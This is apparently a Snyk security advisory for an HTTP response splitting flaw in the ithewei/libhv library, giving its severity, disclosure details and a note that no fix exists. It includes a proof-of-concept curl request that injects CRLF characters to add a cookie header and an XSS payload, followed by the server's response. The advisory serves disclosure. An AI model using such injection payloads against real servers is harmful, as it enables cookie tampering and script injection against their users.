HTTP Response Splitting Affecting ithewei/libhv package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.06% (27th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-ITHEWEILIBHV-5730768
  • published 28 Sep 2023
  • disclosed 22 Jun 2023
  • credit Alessio Della Libera

How to fix?

There is no fixed version for ithewei/libhv.

Overview

Affected versions of this package are vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content, like for example additional headers or new response body, leading to a potential XSS vulnerability.

PoC

curl -i -X GET "http://localhost:8080/test1?name=test%0d%0aSet-Cookie:foo%3Dbar%0d%0aContent-Type:text/html%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 39
Content-Type: text/plain
Date: Tue, 16 May 2023 10:28:06 GMT
MyHeader: User-test
Set-Cookie:foo=bar
Content-Type:text/html

<img src=x onerror=alert("hello") />

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.3 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    Low
  • Availability (A)
    None
Expand this section

NVD

6.1 medium